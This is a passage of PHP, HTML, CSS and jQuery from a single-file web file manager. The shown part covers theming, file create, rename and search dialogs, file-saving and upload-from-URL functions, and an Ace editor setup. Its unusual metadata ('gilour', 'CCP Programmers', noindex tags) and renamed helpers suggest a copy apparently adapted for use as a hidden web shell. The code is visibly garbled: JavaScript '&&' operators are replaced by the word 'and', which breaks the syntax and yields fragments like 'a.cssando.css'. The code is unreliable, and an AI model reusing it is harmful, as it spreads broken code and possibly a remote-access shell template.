6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="gilour">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly 